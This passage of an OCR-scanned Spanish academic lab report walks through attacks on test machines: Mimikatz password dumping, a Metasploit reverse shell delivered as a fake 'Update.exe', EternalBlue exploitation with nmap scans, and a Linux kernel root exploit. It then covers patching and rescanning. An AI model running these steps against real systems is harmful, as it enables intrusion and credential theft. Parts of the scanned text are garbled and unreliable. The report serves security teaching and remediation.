llustracion 44. — informaciéon obtenida con Mimikatz
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llustracion 45. — informacion obtenida con Mimikatz

S mimikatz 220 o4 (oe.e0) =) ‘!':J

N
20008225%0801 487180704907 1881

’
cldani v

Al revisar los usuarios registrados en el equipo, podemos verificar de
manera efectiva que existen tres usuarios y que cada uno de ellos esta
protegido con una contrasenia.

llustraciéon 46. — usuarios de W7

Elegir la cuenta que desee cambiar

Administrador ‘
Administrador 7
Protegida por contrasena |

Juan
Administrador
Protegida por contrasena

admin
Administrador
Protegida por contrasefa

@ &

Asi, con la asistencia de Nessus, hemos descubierto una vulnerabilidad
en el sistema de Windows 7. Utilizando la informacién proporcionada, hemos
confirmado la posibilidad de explotarla mediante Mimikatz, y al emplear esta
herramienta, logramos aprovechar la vulnerabilidad y acceder a los nombres

y contrasefas de todos los usuarios registrados en el equipo.
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4.3.2 Reverse

El segundo problema fundamental se relaciona con la falta de
actualizaciones en los equipos, lo cual crea una vulnerabilidad significativa en
el sistema. En muchos casos, la ausencia de actualizaciones y de medidas de
seguridad en los equipos resulta en que numerosos exploits o archivos
maliciosos no sean detectados una vez que se descargan en el equipo. En
nuestro caso, al revisar los resultados del escaneo de vulnerabilidades en el
equipo con Windows 10, hemos identificado que presenta varias

vulnerabilidades debido a la falta de actualizaciones de seguridad.

llustracién 47. — Vulnerabilidades W10
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Aprovecharemos estas vulnerabilidades para realizar un ataque de
reversion en la maquina objetivo utilizando Metasploit. Para ello,
configuraremos un oyente y crearemos un archivo malicioso que enviaremos

a la maquina Windows 10, la cual actuard como cliente y se conectara a
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nuestro oyente. De esta manera, obtendremos una shell interactiva que nos
permitira explorar la maqguina objetivo y ejecutar cddigo como atacantes.

Una gran ventaja de llevar a cabo un ataque de reversion es que
Metasploit se ejecuta completamente en la memoria y no escribe ningun dato
en el disco. Ademas, no crea nuevos procesos, SN0 que se inyecta en
procesos comprometidos, desde donde toma el control de otros procesos en
ejecucion.

El primer paso consiste en ejecutar el siguiente comando para generar
un archivo ejecutable llamado "Update.exe", el cual enviaremos a la victima

con el fin de obtener acceso completo al sistema y controlar la maquina.

llustracion 48. — Generacién de ejecutable

Una vez lanzado el comando, habremos creado el archivo malicioso
gue enviaremos al equipo victima.

llustracion 49. — Ejecutable

Update.exe

Nuestro siguiente paso implica abrir una consola de Metasploit. Para

ello, ejecutaremos el comando ‘'msfconsole’ en una terminal de Kali. Una vez
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que la consola esté activa, introduciremos el siguiente comando para
establecer el controlador de explotacion que vamos a utilizar.
llustracién 50. — Controlador de explotacion

msf6 > use multi/handler
Using configured payload generic/shell_reverse_tcp

msf6 exploit( ) > |

Después de haber configurado el controlador de explotacién,
continuaremos especificando el tipo de conexién que utilizaremos desde la
maquina victima hacia la maquina del atacante. Con este comando, nos
aseguraremos de mantener una comunicacion constante entre ambas
maquinas en todo momento.

llustracion 51. — Payload

msf6 exploit( ) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD = windows/meterpreter/reverse_tcp

msf6 exploit( ) > |

Exponemos las opciones de meterpreter para verificar que Unicamente
debemos ingresar la direccién IP del equipo atacante. Establecemos la

direccion del servidor atacante.
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llustracion 52. — Establecimiento de la IP del equipo atacante

Luego se confirma que se ha establecido la IP del equipo atacante.
llustracion 53. — Corroborar la correcta configuracion

A continuacion, ingresamos el siguiente comando para poner la
maquina atacante en modo de escucha, esperando a que la maquina victima

ejecute el archivo creado.

llustracion 54. — Maquina atacante en escucha

msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.1.70:4444
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Una vez concluido este procedimiento, habremos finalizado la creacion
y configuracion de nuestro archivo malicioso. Luego, a través de la ingenieria
social o tomando el control de otro equipo en la red mediante un ataque
informatico, enviaremos el archivo a la victima para que lo ejecute.

Como se puede apreciar, el archivo se descarga correctamente en el
equipoy, al ejecutarlo, solo muestra un mensaje indicando que la procedencia
del archivo es desconocida. Sin embargo, el sistema no lo bloquea ni lo
identifica como un virus, lo que nos permite avanzar en el proceso.

llustracion 55. — Ejecucion del archivo malicioso

Windows protegio su PC

Ejecutar de todas formas m

Después de que el archivo haya sido ejecutado en la maquina victima,
regresamos a la maquina atacante. Como se puede observar en la imagen
siguiente, la maquina atacante ha iniciado exitosamente el proceso de reverse
shell, lo que nos permite obtener una terminal shell de Windows desde la

maquina Kali.
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llustracion 56. — Inicio de reverse

444 = 192.168.1.92:50066 ) at 2022-10-26 13:34:36 -0400

meterpreter >

Ahora, al utilizar el comando "help”, podemos visualizar una lista de
todos los comandos disponibles para controlar la maquina victima. Esta lista
incluye una variedad de comandos de distintas categorias, como comandos
genéricos para el manejo de Windows, manipulacién de archivos, redes,
sistemas, interfaces, camaras web, audio, elevacion de privilegios, bases de
datos de contrasefias almacenadas y comandos relacionados con el
timestomp.

Con esta amplia variedad de comandos y acceso a una terminal con
privilegios de administrador, habremos logrado obtener el control total del

equipo.

llustracion 57. — comando sysinfo

meterpreter > sysinfo
Computer : DESKTOP-L77960D

0S : Windows 10 (10.0 Build 19044).
Architecture : X64
System Language : es_ES

Domain : WORKGROUP
Logged On Users : 5
Meterpreter : x86/windows
meterpreter > |j

Un comando adicional que se puede emplear es "screenshot”, que nos

permite capturar la pantalla de la victima y transferirla a nuestra maquina
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llustracion 58. — comando screenshot

Otro comando que se exploré es el que permite abrir una terminal de
comandos (cmd) desde la maquina atacante, como se puede observar con el
comando "shell'. Esto nos proporciona acceso directo con el usuario

administrador y control total con todos los privilegios.

llustracion 59. — comando Shell

meterpreter > shell

Process 9468 created.

Channel 1 created.

Microsoft Windows [Versien 10.0.19044.1288]

(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\Administrador\Desktop>}}

De este modo, hemos identificado varias vulnerabilidades en el sistema
de Windows 10 utilizando Nessus. A través de la informacion recopilada,
hemos comprobado que la falta de actualizaciones de seguridad en el sistema
impide la deteccion de posibles ataques a través de archivos maliciosos.
Ademas, al realizar un ataque de reversibn mediante Metasploit, hemos

logrado obtener un control total sobre el equipo.
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4.3.3 EternalBlue

Como sefialamos en el atague anterior, una de las principales
preocupaciones esta relacionada con la falta de actualizaciones de seguridad.
En esta seccién, abordaremos los desafios que surgen de la ausencia de
actualizaciones de seguridad y el uso de un sistema operativo sin soporte.

Al utilizar Nessus y llevar a cabo un escaneo en un sistema con
Windows 7 como sistema operativo, hemos identificado una vulnerabilidad
conocida que podria ser objeto de explotacion.

llustracion 60. — Vulnerabilidad CVE-2017-0144

P

]

De acuerdo con la informacién presentada en la imagen adjunta, se
puede notar que esta vulnerabilidad posee un nivel de riesgo significativo y es
susceptible de ser aprovechada mediante Metasploit. Ademas, tanto la
descripcion como los enlaces proporcionados indican que esta vulnerabilidad
en el sistema permite que un atacante cibernético ejecute de forma remota
codigo malicioso en la computadora de la victima sin ser detectado.

llustracién 61. — Informacion de la vulnerabilidad CVE-2017-0144
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Esta vulnerabilidad, en conjunto con su exploit, se hizo ampliamente
reconocida debido a la facilidad con la que puede ser aprovechada y a la falta
de correcciones disponibles en el sistema. En un momento posterior, Microsoft
emitid una actualizacion de seguridad, denominada MS17-010, pero esta

actualizacion solo estuvo disponible para determinadas versiones de Windows
7.

Reviso cual es mi ip con el comando ip a.

llustracion 62. — Informacién de la ip para atacar

~/Eternal/scan
a
<LOOPBACK, UP, 6 i te UNKNOWN group default glen 1000
link/loopback @0 ) ( )0
inet /8 scope hos
valid_1ft forever preferred_1ft forever
inet6 /128 scope host
valid_1ft forever preferred_lft forever
208 <BROADCAST ,MULTICAST,UP,LOWER_UP> mtu 1500 gdisc fq_codel state UP group default gl
en 1000
link/ether @ 7:c7:e1:3
inet /24 brd scope global dynamic noprefixroute eth®
valid_1ft 257283sec preferred_lft 257283sec
inet6 /64 scope link noprefixroute
valid 1ft forever preferred lft forever

Luego hago un escaneo de la red para verificar cual es la ip para atacar
a la maquina y ver cual esta dentro del segmento con mi ip , con el comando

Sudo arp -scan -

llustracion 63. — Ip identificada para el ataque

~/Eternal/scan

ce: oth®, type: EN1OMB, ‘ 0:27
¢ : (hitps
3 ) ) Hon Ha - -0.
Q0. HUAWEI TECHNOLOCG S LTD

H8.100. 7 HUAWET TECHNOLOGIES CO.,LTD
658,100, 4 8: { PCS Systemtechnik GmbH
2 4 Wistron Neweb Corporation
Huli Zh 3 ia Techne
(Unknown: y adminis
(Unknown: ally administ
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Hago un escaneo de los puertos sobre la direccion ip objetivo y que me
lo de en archivo tambien, adicional que trate a los puertos todos online y
abiertos, tambien que sea grepeable con los siguietes comandos:

$ sudo nmap -sS --min-rate 500 -p- --open -n -v -Pn 192.168.100.40 -
oG Allports

llustracion 64. — Informacion de puertos abiertos

Como vemos en la figura anterior vemos que los puertos 135, 139, 145
estan abiertos y con servicios podemos ver que mas se puede ver si tienen
alguna version adicional o algo con el siguiente comando: nmap -sv -sc -p 135,
139.
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llustracion 65. — Identificacion del puerto para atacar

- - 192.168.100.40 -
nmapresults

Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-18 02:48 EDT

Nmap scan report for 192.168.100.40

Host is up (0.0014s latency).

STATE SERVICE VERSION
open msrpc Microsoft Windows RPC
open netbios-ssn Microsoft Windows netbios-ssn
open microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup:
WORKGROUP )
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
open msrpc Microsoft Windows RPC
open msrpc Microsoft Windows RPC
open msrpc Microsoft Windows RPC
open msrpc Microsoft Windows RPC
Service Info: Host: WIN-845Q99004PP; 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

smb2-security-mode:
| 210:

Message signing enabled but not required

|_clock-skew: mean: 1h20m0@s, deviation: 2h18m33s, median: Os
| _nbstat: NetBIOS name: WIN-845Q99004PP, NetBIOS user: <unknown>, NetBIOS MAC: 080027ca2774
(Oracle VirtualBox virtual NIC)
| smb-os-discovery:
| | 0S: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
| 0S CPE: cpe:/o:microsoft:windows_7::spl
| Computer name: WIN-845Q99004PP
| NetBIOS computer name: WIN-845Q99004PP\x00
|  Workgroup: WORKGROUP\x00
|_ System time: 2023-05-18T02:49:22-04:00
| smb2-time:
| date: 2023-05-18T06:49:22
| start_date: 2023-05-18T04:18:28
|| smb-security-mode:
|  account_used: guest
| authentication_level: user
| challenge_response: supported
|

message_signing: disabled (dangerous, but default)

Buscamos alguna vulnerabilidad escaneando con nmap con los scripts
de default de kali con Vuln a los puertos abiertos que descubrimos
anteriormente con versiones, en la cual encontramos una vulnerabilidad de
servidor SMB con escalada de privilegios, con el CVE-2017-0143. usamos el
siguiente codigo:

nmap --script="vuln" -n -n -p135,139,445 -Pn 192.168.100.40 -0A

vulnscan-results
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llustracion 66. — Informacion de la ip vulnerable

- - ipt="vuln 1 1 5 -Pn 192.168.100.40 -oA vulnscan-results
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-18 13:31 EDT
Pre-scan script results:
| broadcast-avahi-dos:
|  Discovered hosts:
224.0.0.251

After NULL UDP avahi packet DoS (CVE-2011-1002).

Hosts are all up (not vulnerable).
map scan report for 192.168.100.40
ost is up (0.0019s latency).

PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
45/tcp open microsoft-ds

fost script results:
smb-vuln-ms17-010:
VULNERABLE:
Remote Code Execution vulnerability in Microsoft SMBvl servers (ms17-010)
State: VULNERABLE
IDs: CVE:CVE-2017-0143
Risk factor: HIGH
A critical remote code execution vulnerability exists in Microsoft SMBv1
servers (ms17-010).

Disclosure date: 2017-03-14
References:
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt
-attacks/
https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
L https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
_smb-vuln-ms10-054: false

map done: 1 IP address (1 host up) scanned in 50.40 seconds

Leemos con comandos de: xsltproc nmapresults.xml -o scan.html para
leerlo de mejor manera alzamos un servidor con python3 -m http. server 80.
xsltproc nmapresults.xml -o scan.html
python3 -m http. Server 80
llustracion 67. — Creacion de un servidor con Python 3 en Kali

- ~/Eternal
nmapresults.xml -o scan.html

|-[~/Eternal]
http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/)
127.0.0.1 - - [18/May/2023 13:55:50] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [18/May/2023 13:56:09] "GET /scan.html HTTP/1.1" 200 -
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Podemos observar de mejor manera leyendo la imagen del escaneo y
la clase de la vulnerabilidad.

llustracion 68. — Reporte de la Ip para atacar

* 10 168.100.40 et

Ports
Port Stale Sogyle ciosed [T Fered | Sarvice Reason Product Version! Exia info
m
135 feplopss s syn-ack [Wcrosot Windows FPC
133 fuplopss efis-sse |syn-ack Micosat Windows netios-ssn
435 [xplop= mcnsot-  [syn-ack [Windows 7 Ulmate 7501 Serece Pack 1 WIATTED.
= fecosetas WORKGROLP
23152 cplopas mspe syn-ack Micosot Windows FPC
23153 Lpiopas mapc syn-ack Micosot Windows FPC
43:54plopan nape syn-ack {Vicosat Windows FPC
:3‘5$m opes nspe syn-ack {Wcosof Windows PPC
43136 xpjop=s napc syn-ack Vicosot Windows FPC
3357 hup|opee s syn-ack [Wcrosot Windows FPC
Host Script Output
Script  fouput
Name
sTid- N
S2CaTty- L
ol Message signing eabled but not Teguirsd
>0 -
shew mezn: 1020e@8s, devistion: 2hiSad3s, sedian: &
rostat
NetBEDS name: WIN-345003004PP, K=tBIOS user: <urkeown>, NetBIOS MAL: BIdZITcal774 (Oracle VirtualBox wirtwsl MIC)
STD-03-
Ssconery 05: Windows 7 U1td Sem.fe Pack 1 {Kindows 7 Ultimste 5.1)

S (PE: pe:/ocxis 1 <
{omputer name: WIN-E2 (=
NetSI0S cospoter name: WIN-845099004PP L8

Usamos el msfconsole para poder buscar alguna vulnerabilidad

referente al servidor que se presento ante.
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llustracion 69. — metasploit

~/Eternal

https://metasploit. . com

Usamos y configuramos el host y el remote luego de entrar al
msfconsole

llustracién 70. — Version de la falla de samba

v NE -~ ) S el ' " N RN Detect
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Luego escribimos para atacar al eternal blue que fue lo que nos
comunico la vulnerabilidad

llustracién 71.— Informacién de eternalblue de smb remote Windows.

10_SESRRIELE 017-03-1¢

Verificamos que este bien configurado el local host y remote host con
la respectiva ip.

llustracion 72. — configuracion de la ip atacante y la ip victima

Escribimos exploit y verificamos que ya fue vulnerado el sistema y
pudimos ingresar, luego podemos usar la Shell para encontrar las banderas

escondidas en los directorios de la maquina
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llustracion 73. — exploit

Luego que entramos en la Shell de la maquina podemos ver en que
directorio estamos con whoami, para después buscar las banderas.

llustracién 74. — whoami
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Luego de movernos por los directorios pudimos encontrar la primera
bandera con extension.txt y lo leemos con type como lo muestra la siguiente
figura.

llustracién 75. — Encontrando bandera

Por ultimo, nos quedaria encontrar la siguiente bandera nos movemos
a Users, para eso acudimos a Bing con la busqueda de inteligencia artificial
para que me dé un comando en la cual pueda encontrar archivos .txt en todo
el sistema y no estar entrando en cada uno de las carpetas y subcarpetas para

gue al final mostrar la bandera faltante.
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llustracion 76. — Lectura de un archivo de la maquina victima.

Directory of C:\Users\user\Desktop

05/13/2022 06:53 PM 32 banderal.txt
1 File(s) 32 bytes

Total Files Listed:
13 File(s) 48,161 bytes
@ Dir(s) 9,021,829,120 bytes free

C:\Users>cd C:\Users\user\Desktop
cd C:\Users\user\Desktop

C:\Users\user\Desktop>ls

I

‘ls' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\user\Desktop>dir

dir

Volume in drive C has no label.
Volume Serial Number is 7869-C40D

Directory of C:\Users\user\Desktop

05/16/2022 ©07:11 PM <DIR>
05/16/2022 ©07:11 PM <DIR> 5
05/13/2022 06:53 PM 32 banderal.txt
1 File(s) 32 bytes
2 bir(s) 9,021,829,120 bytes free

C:\Users\user\Desktop>type banderal.txt
type banderal.txt
Pef3b7d488b11e3e800f547a0765da8e

4.3.4 Escalada de privilegios.

Una tactica comun cuando se logra acceso a un sistema con un usuario
sin privilegios es llevar a cabo una busqueda exhaustiva de vulnerabilidades
y debilidades en el sistema que permitan obtener privilegios mas elevados
para conseguir el control completo del sistema. A través de la explotacion de
vulnerabilidades en diversos sistemas, se avanza gradualmente a través de
la red, aumentando los privilegios paso a paso hasta alcanzar un usuario con

control total en el sistema deseado.

105



llustracion 77. — Vulnerabilidades del kernel de Linux

LTS : Linux kernel vulnerabilities (USN-5018-1

i
i
! 1
i
r

{
\

Es evidente que existe informacién sobre vulnerabilidades que
presentan un alto grado de riesgo y que son susceptibles de ser aprovechadas

mediante diversas técnicas de escalada de privilegios.

llustracion 78. — Informacion de la vulnerabilidad del kernel

Concpe—

Para explotar estas vulnerabilidades, ejecutamos el siguiente comando
para verificar la version del kernel en nuestra maquina Linux.

llustracion 79.— kernel de la maquina victima
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serglo@equipo: ¢ 17 f [ S uname -a
Linux equipo 4.4.0- 31 -generic #50- Ubuntu SMP wed Jul 13 00:07:12 UTC 2016 x86_64

x86_64 x86_64 GNU/Linux

Después de confirmar la version de kernel que estamos utilizando,
procedemos a buscar un exploit especifico para esa versién que nos permita
elevar los privilegios de nuestro usuario sin permisos.

En la siguiente pagina podemos encontrar, URL del exploit:
https://www.exploit-db.com/exploits/39772

llustracion 80. — pagina de exploit db

Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD)
Privilege Escalation

EDB-ID: CVE: Author: Type: Platform: Date:

EDB Verified: Vulnerable App:
Exploit: & / {}

Sourcet MEEpRL//Bugs.chvomium. ord/p/project- zaro/ixaues értail Pidaton

m Llnun el 4, when Uhe COWIC RPF_SYSCALL confly cotlon (s wi asd Uhe
_dtsabled sysctl L3 net exalicitly set to 1 at rentlse,

o Load ed socket Tilter prograns

Lo primero es descargar y descomprimir el exploit en la maquina

victima.
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https://www.exploit-db.com/exploits/39772

llustracion 81. — Descarga del exploit

Descargas

2 Carpeta personal Descargas 39772 39772

© Recientes

@ Carpeta personal J g

: 39772 39772.zip 39772.txt
[ Escritorio

Archivos dentro de la carpeta que se descarg6, la descomprimimos

llustracion 82. — Archivos del exploit

ebpf_mapfd_doubleput_exploit

@ Carpetapersonal Descargas 39772 ebpf_mapfd_doubleput_exploit
R < :
© Reclente /:/A‘\ C C
@ Carpeta personal N
a.out compile.sh doubleput.c hello.c
& Escitorio
v Descargas C
D Documentos suidhelper.c

Una vez que hemos extraido los archivos, compilamos y ejecutamos el
script del exploit, después esperamos un momento hasta que se complete su

ejecucion.

llustracion 83. — Compilado y ejecucion del exploit

~

serglo@equipo: ~/Descargas/39772/ebpf_mapfd_doubleput_exploit

serglo@equipo: escargas/39772/ebpf_ma =
compile.sh doubleput.c hello.c suidhelper.c
serglogequipo: 3 ) 3772 /ebpt ypf ublept ploitS ./compile.sh
serglo@equipo: es( : 39772 /ebpf_mapf ut_ex {tS ./doubleput
starting writev

woohoo, got pointer reuse

writev returned successfully. if this worked, you'll have a root shell in <=60 s
econds.

|

itS 1s
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Después de que el proceso haya finalizado, se realizara
automaticamente un cambio de usuario a "root" con plenos privilegios en el

sistema.

llustracion 84. — Escalada de privilegios a root

& © O serglo@equipo: ~/Descargas/39772/ebpf_mapFd_doubleput_exploit

erglo@equipo:- put_exploitsS 1s

ompile.sh do

erglo@equipo cargas /39772 f oubleput tS ./compile.sh
erglo@equipo:~ pf LtS ./doubleput
ktarting writev

oohoo, got pointer reuse

ritev returned successfully. if this worked, you'll have a root shell in <=60 §
pconds.

suld file detected, launching rootshell...

e have root privs now...

oot@equipo:~/ :

id=0(root)

Asi, mediante el uso de Nessus, hemos identificado varias
vulnerabilidades en el sistema Linux, gracias a la informacion proporcionada,
hemos determinado que estas vulnerabilidades son susceptibles de ser
explotadas tanto con Metasploit como con distintos exploits independientes
para la escalada de privilegios. A través del uso de un exploit especifico,
hemos logrado llevar a cabo la escalada de privilegios, cambiando nuestro
usuario a root y obteniendo asi el control total del equipo.

4.4 Parches para mitigacion de vulnerabilidades.

En esta seccion, procederemos a identificar las vulnerabilidades que se
encuentran en los dispositivos del entorno y nos esforzaremos por remediar
todas las posibles. Normalmente, para abordar estas vulnerabilidades, se
implementan actualizaciones del sistema, se realizan ajustes en la
configuracion o se actualiza el software vulnerable.

Una vez que hayamos aplicado los parches necesarios para solucionar
las vulnerabilidades, efectuaremos un nuevo escaneo para asegurarnos de
que estas hayan sido corregidas. Asimismo, destacaremos la notable
diferencia y la relevancia de contar con un sistema operativo que continte

recibiendo soporte en comparacion con uno que ya no lo tenga.
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4.4.1 Ubuntu
Vamos a aplicar parches al primer equipo que utiliza Ubuntu. Este

equipo presenta las siguientes vulnerabilidades.

llustracion 85. — Vulnerabilidades Ubuntu

’.l .
Comenzaremos por ingresar el siguiente comando para actualizar la
lista de paquetes disponibles en este momento.

llustracion 86. — comando Update

administradargequipo:

Luego, ejecutaremos el siguiente comando para proceder a actualizar

los paquetes disponibles..

llustraciéon 87.— Comando Upgrade

administrador@equipo: -
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Luego, procederemos a ejecutar el siguiente comando para instalar los
paquetes que aun no estén presentes en el sistema y para eliminar de manera
automatica los paquetes obsoletos que puedan estar presentes.

llustracion 88. — comando dist-upgrade

administrador@equipo: -

Editar W 3] f ninal Ayuda

apt-get dist-up
Hecho

o adiclonal des
con/ubunty xenial

s xenlal-upda
xenlal-up
xental-update

Una vez que se hayan descargado y actualizado todos los paguetes en
el equipo, recibiremos una notificaciéon que indica la disponibilidad de una

nueva version del sistema operativo.
llustracion 89.— actualizacion ubuntu

Esta disponible la actualizacion a Ubuntu 18.04.6 LTS

Esta disponible una nueva version de Ubuntu. jLe gustaria actualizar?

No actualizar Si, actualizar ahora

Preguntar mas tarde

En este punto, confirmaremos la actualizacion y seleccionaremos

"Iniciar la actualizacién" cuando se nos solicite.

llustracion 90. — inicio actualizacion Ubuntu

g Quiere comenzar la actualizacion?

54 paguetes instalados ya no estén sopoitados por Canonical. Puede seguir obteniendo 1og de la munidad
Se van 8 desinstalar 40 pagquetes. Se van 4 instalar 407 paquete UeEvOos. Se van a actualizar G pagquetes
243 M. Esto descarga tardara aproximadamente 2 minutos con su conexion actual

Debe descargar un total de

Esta actualizacion puede tardar varians horas. Una vez finalice (s descarga, ol proceso no se podra cancelas

Para prevenir la pérdida de datos, clerre todas Las aplicaciones y documentos,

Detalles

Cancelar Iniciar la actualizacion
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Luego, simplemente esperaremos a que el proceso de actualizacion de
nuestro sistema operativo se complete.

llustracion 91.— Progreso de la actualizacion

Upgrading Ubuntu to version 18.04

Preparando la actualizacion

&

Configurando nuevos canales de software

&

Obteniendo paquetes nuevos

</~Z;.

Instalando las actualizaciones

v <’£;.

Limpiando
Reiniciando el equipo

L
Buscando paquetes obsoletos

* Terminal

Durante este proceso, es posible que el sistema nos consulte si
deseamos eliminar los paquetes obsoletos, y en ese caso, seleccionaremos
la opcion para eliminarlos.

llustracion 92. — Eliminar paquetes obsoletos

@ iDesinstalar los paquetes obsoletos?

Se van a desinstalar 121 paquetes.
La desinstalacion de los paquetes puede tardar varias horas.
Para prevenir la pérdida de datos, cierre todas las aplicaciones y documentos.

* Detalles

Conservar Eliminar
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Una vez finalizada la instalacion de la actualizaciéon del sistema,
aparecera un mensaje indicAndonos que reiniciemos la computadora.
Posteriormente, ejecutamos los comandos especificados para verificar la
version actual del kernel y asegurarnos de que el sistema haya realizado la
transicion exitosa de la version 16.04 a la 18.04.

llustracion 93. — comandos de version

administrador@equipo: -

Después de confirmar la version del sistema, nuestro siguiente paso es

realizar un nuevo andlisis de la computadora.

llustracién 94. — 2° Escaneo de Vulnerabilidades Ubuntu

Tras examinar el Ultimo escaneo, es evidente que ha habido una
disminucién en la cantidad de vulnerabilidades que anteriormente afectaban
a la computadora. En el futuro, nuestro enfoque se centrara en evaluar las

vulnerabilidades que aun persisten.

113




llustracion 95. — Listado de vulnerabilidades Ubuntu

grave *  Puntaje.

88
ALTO 88
ALTO 88

78
ALTO 78
ALTO 7.8

AL

-
(=]
~d
0

6.7

6.5

o
-~

[
(=
~4
i

Nombre »

Ubuntu 14,04 LTS/16.04 LTS/18.04 LTS: vuinerabilidades del kernel de Linux (USN-5339-1)

Ubuntu 14,04 LTS/16.04 LTS/18.04 LTS: vulnerabilidades del kernel de Linux (USN-5418-1)

Ubuntu 16,04 LTS/18.04 LTS: vulnerabilidades del kernel de Linux (USN-5073-1

Ubuntu 16.04 LTS/18,04 LTS: vuinerabilidades del kernel de Linux (USN-5018-1

Ubuntu 16.04 LTS/18.04 LTS: vulnerabilidades del kernel de Linux (USN-3094-

Ubuntu 16,04 LTS/18.04 LTS: vulnerabilidades del kernel de Linux (USN-5114-1

Ubuntu 16.04 LTS/18.04 LTS: vulnerabilidades del kernel de Linux (USN-5136-1)

Ubuntu 16.04 LTS/18.04 LTS: vulnerabilidades del kernel de Linux (USN-3209-1)

Ubuntu 16.04 LTS/18.04 LTS: vulnerabilidades del kernel de Linux (USN-5298-1)

Ubuntu 16.04 LTS/18.04 LTS: vulnerabilidad del kernel de Linux (USN-53357-1)

Ubuntu 16,04 LTS/18.04 LTS: vulnerabilidades del kernel de Linux (USN-5268-1)

Ubuntu 14,04 LTS/16.04 LTS/18,04 LTS: vulnerabilidades del kernel de Linux (USN-5

Ubuntu 16.04 LTS/18.04 LTS: vuinerabilidades del kernel de Linux (USN-5318-1)

Ubuntu 16.04 LTS/18.04 LTS: vuinerabilidades del karnel de Linux (USN-5044-1)

Ubuntu 16.04 LTS/18,04 LTS: vulnerabilidades del kerne! de Linux (USN-5164-1)

Segun los datos presentados en la imagen, estd claro que las
vulnerabilidades restantes estan directamente relacionadas con la ausencia
de una actualizacion del kernel. Para resolver eficazmente estas

vulnerabilidades, se recomienda encarecidamente realizar una actualizacién

del kernel.
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llustracion 96. — Informacioén sobre las vulnerabilidades del Kernel

vulnerabilidades 2

Descripcion

Solucion

Ver también

Ejecutamos el siguiente comando con el fin de proceder a actualizar el
kernel..

llustracién 97. — Comando actualizacién de Kernel
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Después de completar con éxito la actualizacion del kernel, el siguiente
paso es reiniciar el sistema y utilizar comandos adicionales para verificar la
version actual del sistema y asegurarse de que el kernel se haya actualizado

a una version mas reciente.

llustracion 98. — comandos de version

administrador@equipo: ~

Archivo Editar Ver Buscar Terminal Ayuda

administrador@equipo:~S uname -a
<

Linux equipo 5.4.0-131-generic #147~18.04.1-Ubuntu SMP Sat Oct 15 13:10:18 UTC 2

022 x86_64 xB6_64 x86_64 GNU/Linux
administrador@equipo:~S uname -r
5.4.0-131-generic
administrador@equipo:~$S

Después de actualizar el kernel, procedemos con un escaneo posterior
y, como se muestra en la imagen proporcionada, hemos erradicado de

manera efectiva todas las vulnerabilidades Criticas.
llustracion 99. — Escaneo de Vulnerabilidades Ubuntu

En el equipo Linux — Ubuntu 16.04 partiamos de lo siguiente:

llustracién 100. — Primer escaneo — Ubuntu

Y hemos terminado asi:
llustracion 101. — Ultimo escaneo — Ubuntu
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4.4.2 Windows 7
El siguiente equipo que abordaremos es el que utiliza Windows 7 y que
presenta las siguientes vulnerabilidades.

llustracién 102.— 1° Escaneo de Vulnerabilidades Windows 7

o

El primer paso consistird en actualizar Windows 7 a la dltima version,

instalando el Service Pack 1.

llustracion 103.— Instalando Service Pack

U |54 Instalar Service Pack de Windows

Instalando Service Pack 1 de Windows 7...

La instalacion puede durar una hora o mas. Es posible que deba reiniciar el equipo varias
veces durante 1a instalacion.

Instalando: Service Pack para Microsoft Windows (KB976932)

Instalar Cancelar
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Una vez que hayamos completado la instalacion del Service Pack 1,
procederemos a reiniciar el equipo y esperaremos a que la actualizacién se
apligue correctamente. Tras el reinicio, accederemos al instalador de
actualizaciones de Windows 7, conocido como 'Windows Update’, siguiendo
los siguientes pasos:

e Accederemos al Panel de control.

e Seleccionaremos la opcion de Sistema y seguridad.

e Encontraremos la opcién de Windows Update y haremos
clic en ella.

e Dentro de Windows Update, elegiremos la opcion de
buscar actualizaciones.

e De esta manera, podremos buscar e instalar las

actualizaciones disponibles para nuestro equipo con Windows 7.

llustracion 104. — Windows update

Windows Update

Instale siempre las actualizaciones mas recientes para mejorar la seguridad y el
rendimiento del equipo.

é’ Buscar actualizaciones para el equipo

[ Buscar actualizaciones ]

Busqueda mas reciente de actualizaciones: Nunca
Se instalaron las actualizaciones: Nunca
Recibe actualizaciones: Sélo para Windows

Obtener actualizaciones para otros productos de Microsoft. Mas informacion

Después de que finalice la busqueda de actualizaciones, Windows
Update nos presentara una lista de las actualizaciones disponibles, y
procederemos a hacer clic en "Instalar" para que comience la descarga e

instalaciéon de estas.
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llustracion 105. — Instalar actualizaciones

Windows Update

&

} Q Descargar e instalar actualizaciones para el equipo

170 actualizaciones importantes 169 actualizaciones importantes

estin disponibles seleccionadals), 1.491,9 MB - 1.492,0 MB
6 actualizaciones opcionales estan

disponibles

| Instalar actualizaciones |

Busqueda mas reciente de actualizaciones: Hoy a las 19:43
Se instalaron las actualizaciones: Nunca
Recibe actualizaciones: Solo para Windows

Obtener actualizaciones para otros productos de Microsoft. Mas informacion

Nuestro equipo anticipa pacientemente la finalizaciéon del proceso de
descarga de todas las actualizaciones necesarias..
llustracién 106. — Descarga de las actualizaciones

Windows Update

g+ D Descargando actualizaciones...
. F
S i}

Descargando 169 actualizaciones (1.492,0 MB en total, 47% completados)

[ Detener descarga ]

Busqueda mas reciente de actualizaciones: Hoy a las19:43
Se instalaron las actualizaciones: Nunca
Recibe actualizaciones: Sélo para Windows

Obtener actualizaciones para otros productos de Microsoft. Mas informacién
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Una vez que se han descargado los archivos, el proceso de instalacion
comienza automaticamente.

llustracién 107. — Instalacion de las actualizaciones

